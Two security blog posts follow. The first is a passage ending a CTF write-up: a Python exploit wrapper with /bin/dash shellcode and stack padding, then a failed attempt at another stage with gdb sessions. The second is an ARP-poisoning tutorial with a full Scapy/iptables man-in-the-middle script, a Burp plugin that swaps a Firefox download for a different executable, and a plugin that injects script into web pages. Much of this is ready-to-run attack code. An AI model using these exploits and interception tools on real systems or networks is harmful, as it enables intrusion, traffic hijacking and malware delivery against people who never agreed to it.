#retaddr = struct.pack("<I", 0xfee498c0) 
retaddr = struct.pack("<I", 0xf7e4c881) 
f.write(retaddr * 2**16)
for i in range (0,35000):
    f.write("\x90" * 2**16 + "\xcc" + dashsc)
    f.flush()

f.close()

Here’s the final wrapper. Remember, it needs enough space on the stack to copy all this garbage. I did this by creating tons of environment variables, since something in my environment was throwing an exception when I tried to make a single environment variable much bigger.

#!/usr/bin/python

import os
import argparse
import struct

class exploit:
  def __init__(self, path):
    self.vulnpath = path
 
    #spawns /bin/dash
    dashsc = (
"\xd9\xec\xbd\xb6\xac\xb7\x84\xd9\x74\x24\xf4\x5e\x31\xc9" +
"\xb1\x0c\x31\x6e\x18\x03\x6e\x18\x83\xc6\xb2\x4e\x42\xee" +
"\xb1\xd6\x34\xbd\xa3\x8e\x6b\x21\xa2\xa8\x1c\x8a\xc7\x5e" +
"\xdd\xbc\x08\xfd\xb4\x52\xdf\xe2\x15\x43\xd5\xe4\x99\x93" +
"\xc6\x86\xf0\xfd\x37\x23\x62\x71\x2f\xab\x33\x26\x26\x4a" +
"\x76\x48"
    )

    #this give us a relatively close underflow
    arg1 = (18) * "\x31"

    self.payload = arg1
    self.env = { "shell" : "/bin/dash", "format" : "%3$n" }

    #add env padding - 3500 is roughly 100 MB
    #for i in range(0,3500):
    for i in range(0,35000):
        padkey = "pad" + str(i)
        self.env[padkey] = "A" * 2**16

    print "Done padding"

    self.mfile = "command.gdb"

  def rungdb(self):
    #write to command.gdb
    print "no debugging - stack needs too much room"
  def pwn(self):
    os.execve( self.vulnpath, [self.vulnpath, self.payload], self.env)


parser = argparse.ArgumentParser()
parser.add_argument("--debug", action="store_true")
parser.add_argument('path')

args = parser.parse_args()
m = exploit(args.path)
if args.debug:
    m.rungdb()
else:
    m.pwn()

Finally, just run this while redirecting stdin, and if the environment’s right, you should get code execution.

Stage 10

This is the only one I wasn’t able to exploit. I’m not sure this one is exploitable on my Backtrack 5 R2 distro, but I’d love any feedback. There are two exploit paths I can see, and neither one of them has panned out. I eventually gave up because this is something that easily could have been exploitable on their system but not mine, especially since this CTF is from 2004.

First, notice there’s this signal call.

.text:080484F7 push    0Ah             ; handler
.text:080484F9 push    0Ah             ; sig
.text:080484FB call    _signal

when the program is sent a signal (e.g. kill -10), this tells it to start executing code in location 10.

Additionally, the strcpy in 08048516 allows us to overwrite everything on the stack, including the local variables (e.g. the return value of the malloc). Because of this we have an arbitrary overwrite here:


.text:08048520 mov     edx, [ebp+var_malloced]
.text:08048523 mov     eax, edx
.text:08048525 mov     edx, [ebp+arg_4]
.text:08048528 add     edx, 8
.text:0804852B mov     ecx, [edx]
.text:0804852D mov     ebx, ecx
.text:0804852F mov     cl, [ebx]
.text:08048531 mov     [eax], cl       ; eax is var_malloced + counter, cl is also controlleable
.text:08048533 inc     dword ptr [edx]
.text:08048535 inc     [ebp+var_malloced]
.text:08048538 test    cl, cl
.text:0804853A jnz     short loc_804

I’ve ignored the details for now, but it’s clear we can overwrite arbitrary memory with our controlled values. The problem is that immediately after this overwrite there is an infinite loop.

Before trying an exploit in order to simplify things, I tried the following in gdb to see what was possible.

The first thing I tried was to overwrite 0x0000000A. If we could put shellcode here then it would execute when we send our kill. 0x00000000 does seem to be a valid userspace address. For example, we can mmap memory there:

#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <sys/mman.h>

int map_null_page(void) {
	void* mem = (void*)-1;
	size_t length = 100;
	mem = mmap (NULL, length, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_FIXED|MAP_PRIVATE|MAP_ANON, -1, 0);
	if (mem != NULL) {
		printf("failed\n");
		fflush(0);
		perror("[-] ERROR: mmap");
		return 1;
	}
}

int main (void) {
	map_null_page();
	printf("made it");

}

Setting a breakpoint at the end of this test program, sure enough 0x00 was allocated. Unfortunately, to make use of this memory it has to be mapped. Because mmap can do it, theoretically so can malloc. But if we just try to write to 0 the program will segfault.

Program received signal SIGSEGV, Segmentation fault.
0x08048531 in ?? ()
(gdb) x/i $eip
=> 0x8048531:	mov    %cl,(%eax).
(gdb) info registers
eax            0x0	0
ecx            0xbfffd842	-1073751998
...

I played around with mallocing large sizes (~3GB). This produces out of memory return values (malloc returns 0 when oom), but it would still segfault when I tried to write to 0.

So stepping back, I was trying to figure out how signal kept track of the signal handler. If it’s stored in writable memory, I have an arbitrary overwrite so I could just overwrite that and win. This looked even more promising when I looked at the man 7 signal page:

A process can change the disposition of a signal using sigaction(2) or signal(2). (The latter is less portable when establishing a signal handler; see signal(2) for details.) Using these system calls, a process can elect one of the following behaviors to occur on delivery of the signal: perform the default action; ignore the signal; or catch the signal with a signal handler, a programmer-defined function that is automatically invoked when the signal is delivered. (By default, the signal handler is invoked on the normal process stack. It is possible to arrange that the signal handler uses an alternate stack; see sigaltstack(2) for a discussion of how to do this and when it might be useful.)

This would be great! If the signal function is stored on the process stack, I could overwrite that and win! I compiled a test program


#include <string.h>
#include <unistd.h>
#include <signal.h>

int main (void) {
	int a;
	signal(0xA, 0x47474747);
	while(1) {
	}
}

I attached to the program and searched for 0x47474747, then replaced these with 0x48484848. The idea is if this information really is just in the normal stack then we could overwrite it, and then we win. I was hoping for a segfault at 0x48484848 here (not 0x47474747)

(gdb) list main
2	#include <unistd.h>
3	#include <signal.h>
4	
5	
6	
7	int main (void) {
8		int a;
9		signal(0xA, 0x47474747);
10		printf("made it");
11		while(1) {
(gdb) break 10
Breakpoint 1 at 0x8048431: file signal.c, line 10.
(gdb) run
Starting program: /root/Desktop/defcon/10/test/signal 

Breakpoint 1, main () at signal.c:10
10		printf("made it");
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) n
Program not restarted.
(gdb) shell ps
  PID TTY          TIME CMD
 3125 pts/0    00:00:00 bash
 3280 pts/0    00:08:01 signal
 3379 pts/0    00:00:00 gdb
 3382 pts/0    00:00:00 signal
 3387 pts/0    00:00:00 ps
(gdb) shell cat /proc/3382/maps 
...
bffdf000-c0000000 rw-p 00000000 00:00 0          [stack]
(gdb) find /w 0xbffdf000, 0xbfffffff, 0x47474747
0xbffff248
0xbffff380
0xbffff424
3 patterns found.
(gdb) set {int}0xbffff248=0x48484848
(gdb) set {int}0xbffff380=0x48484848
(gdb) set {int}0xbffff424=0x48484848
(gdb) find /w 0xbffdf000, 0xbfffffff, 0x47474747
Pattern not found.
(gdb) find /w 0xbffdf000, 0xbfffffff, 0x48484848
0xbffff248
0xbffff380
0xbffff424
3 patterns found.
(gdb) continue
Continuing.

Program received signal SIGUSR1, User defined signal 1.
main () at signal.c:12
12		}
(gdb) stepi
0x47474747 in ?? ()
(gdp) print $eip
$1 = (void (*)()) 0x47474747

Boo, so that also didn’t work. I also tried memfetch with no additional stuff 0x47474747 stored in writable memory.

In summary, I’ve tried to write directly to address 0xA, and I’ve tried to overwrite the signal handler, but neither seems to have worked. So with this problem I’m stuck. I’m tempted to download Debian 2004 and give it another try. If I do figure it out there (or if I hear any feedback from people who figure out something I missed), I’ll update this post with the solution.

Some Practical ARP Poisoning with Scapy, IPTables, and Burp

ARP poisoning is a very old attack that you can use to get in the middle. A traditional focus of attacks like these is to gather information (whether that information is passwords, auth cookies, CSRF tokens, whatever) and there are sometimes ways to pull this off even against SSL sites (like SSL downgrades and funny domain names). One area I don’t think gets quite as much attention is using man in the middle as an active attack against flaws in various applications. Most of the information is available online, but the examples I’ve seen tend to be piecemeal and incomplete.

Getting an HTTP proxy in the Middle

In this example I’m going to use Backtrack, scapy, and Burp. While there are a lot of cool tools that implement ARP poisoning, like Ettercap and Cain & Abel, it’s straightforward to write your own that’s more precise and easier to see what’s going on.

Here’s a quick (Linux only) script that does several things. 1) it sets up iptables to forward all traffic except destination ports 80 and 443, and it routes 80 and 443 locally 2) at a given frequency, it sends arp packets to a victim that tells the victim to treat it as the gateway IP.

The code is hopefully straightforward. Usage might be python mitm.py –victim=192.168.1.14

from scapy.all import *
import time
import argparse
import os
import sys


def arpPoison(args):
  conf.iface= args.iface
  pkt = ARP()
  pkt.psrc = args.router
  pkt.pdst = args.victim
  try:
    while 1:
      send(pkt, verbose=args.verbose)
      time.sleep(args.freq)
  except KeyboardInterrupt:
    pass  

#default just grabs the default route, http://pypi.python.org/pypi/pynetinfo/0.1.9 would be better
#but this just works and people don't have to install external libs
def getDefRoute(args):
  data = os.popen("/sbin/route -n ").readlines()
  for line in data:
    if line.startswith("0.0.0.0") and (args.iface in line):
      print "Setting route to the default: " + line.split()[1]
      args.router = line.split()[1]
      return
  print "Error: unable to find default route" 
  sys.exit(0)

#default just grabs the default IP, http://pypi.python.org/pypi/pynetinfo/0.1.9 would be better
#but this just works and people don't have to install external libs
def getDefIP(args):
  data = os.popen("/sbin/ifconfig " + args.iface).readlines()
  for line in data:
    if line.strip().startswith("inet addr"):
      args.proxy = line.split(":")[1].split()[0]
      print "setting proxy to: " + args.proxy
      return
  print "Error: unable to find default IP" 
  sys.exit(0)

def fwconf(args):
  #write appropriate kernel config settings
  f = open("/proc/sys/net/ipv4/ip_forward", "w")
  f.write('1')
  f.close()
  f = open("/proc/sys/net/ipv4/conf/" + args.iface + "/send_redirects", "w")
  f.write('0')
  f.close()

  #iptables stuff
  os.system("/sbin/iptables --flush")
  os.system("/sbin/iptables -t nat --flush")
  os.system("/sbin/iptables --zero")
  os.system("/sbin/iptables -A FORWARD --in-interface " +  args.iface + " -j ACCEPT")
  os.system("/sbin/iptables -t nat --append POSTROUTING --out-interface " + args.iface + " -j MASQUERADE")
  #forward 80,443 to our proxy
  for port in args.ports.split(","):
    os.system("/sbin/iptables -t nat -A PREROUTING -p tcp --dport " + port + " --jump DNAT --to-destination " + args.proxy)

parser = argparse.ArgumentParser()
parser.add_argument('--victim', required=True, help="victim IP")
parser.add_argument('--router', default=None)
parser.add_argument('--iface', default='eth1')
parser.add_argument('--fwconf', type=bool, default=True, help="Try to auto configure firewall")
parser.add_argument('--freq', type=float, default=5.0, help="frequency to send packets, in seconds")
parser.add_argument('--ports', default="80,443", help="comma seperated list of ports to forward to proxy")
parser.add_argument('--proxy', default=None)
parser.add_argument('--verbose', type=bool, default=True)

args = parser.parse_args()

#set default args
if args.router == None:
  getDefRoute(args)
if args.proxy == None:
  getDefIP(args)

#do iptables rules
if args.fwconf:
  fwconf(args)

arpPoison(args)

You can see some of what’s happening by dumping the arp tables on the victim machine. In my case, 192.168.1.1 is the gateway I’m spoofing.

after the script is run against the victim, the arp tables are changed to the attacker controlled ‘proxy’ value (by default the attacker machine). In this example it’s easy to see the legitimate gateway at 00:25:9c:4d:b3:cc has been replaced with our attacker machine 00:0c:29:8c:c1:d8.

At this point all traffic routes through us, and our iptables is configured to send ports 80 and 443 to our ‘proxy’. Your proxy should be configured to listen on all interfaces and set to “invisible” mode.

You should be able to see HTTP and HTTPS traffic from the victim routing through Burp. All other traffic (e.g. DNS) should pass through unmodified. Obviously, the ports that are forwarded and whatnot can be pretty easily configured, but this post is focusing on web attacks.

The next few sections of this post are some attacks that can be useful.

Replacing an HTTP Download

It’s very common, even for some of the best security organizations in the world, to allow downloads over HTTP (even in the somewhat rare case that the rest of their site is over HTTPS). You don’t have to look very far to find applications that are able to be downloaded without encryption, and in fact Firefox was the first place I looked. Here’s a stupid example where I use a burp plugin to detect when a user tries to download firefox, and then I replace it with chrome’s setup. I’m not trying to point out any problems with Mozilla – 99% of the internet’s executables seem to be downloaded over HTTP.

The Burp plugin uses this https://github.com/mwielgoszewski/jython-burp-api, which seems pretty cool. This was my first chance using it.

from gds.burp.api import IProxyRequestHandler
from gds.burp.core import Component, implements

class ExamplePlugin(Component):

    implements(IProxyRequestHandler)

    def processRequest(self, request):
        if "Firefox%20Setup%20" in request.url.geturl() and ".exe" in request.url.geturl():
            print "Firefox download detected, redirecting"
            request.host = "131.107.39.100"
            request.raw = ("GET /downloads/Firefox%20Setup%2013.0.1.exe HTTP/1.1\r\n" +
                "HOST: 131.107.39.100\r\n\r\n")


Clientside Attacks

Clientside attacks in the middle can be super interesting, and they include a lot of scenarios that aren’t always possible otherwise. Here’s a non-comprehensive list that comes to mind:

  • XSS in any HTTP site, and sometimes interaction with HTTPS sites if cookies aren’t secure
  • Cookie forcing is possible. E.g. if a CSRF protection compares a post parameter to a cookie then you can set the cookie and perform the CSRF, even if the site is HTTPS only. We talk about this in our CCC talk.
  • Forced NTLM relaying with most domain networks.
  • If XSS is already possible, you can force a victim to make these requests without convincing them to click on a link. This could be useful in targeted internal attacks, like these, that could get shells

Using the same techniques as above, we can write dirty burp plugins that insert Javascript into HTTP responses.

    def processResponse(self, request):
        #very sloppy way to call only once, forcing exception on the first call
        try:
            self.attack += 1
        except:
            script = "<script>alert(document.domain)</script>"
            #simply inject into the first </head> we see
            if "</head>" in request.response.raw:
                print "Beginning Injection..."
                print type(request.response.raw)
                request.response.raw = request.response.raw.replace("</head>", script + "</head>", 1)
                #self.attack = 1


Conclusions

Blah. Blah. Use HTTPS and expensive switches or static ports. Blah. Does this solve the problem, really? Blah. Blah.

I do have a reason for working on this. Can you pwn the corporate network just using ARP poisoning? NTLM relay attacks are freaking deadly, and I’ll be talking about them over the next few weeks, once at work and then at Blackhat as a tool arsenal demo. Man in the middle attacks like these offer a great/nasty way to target that operations guy and get code execution. More on this later.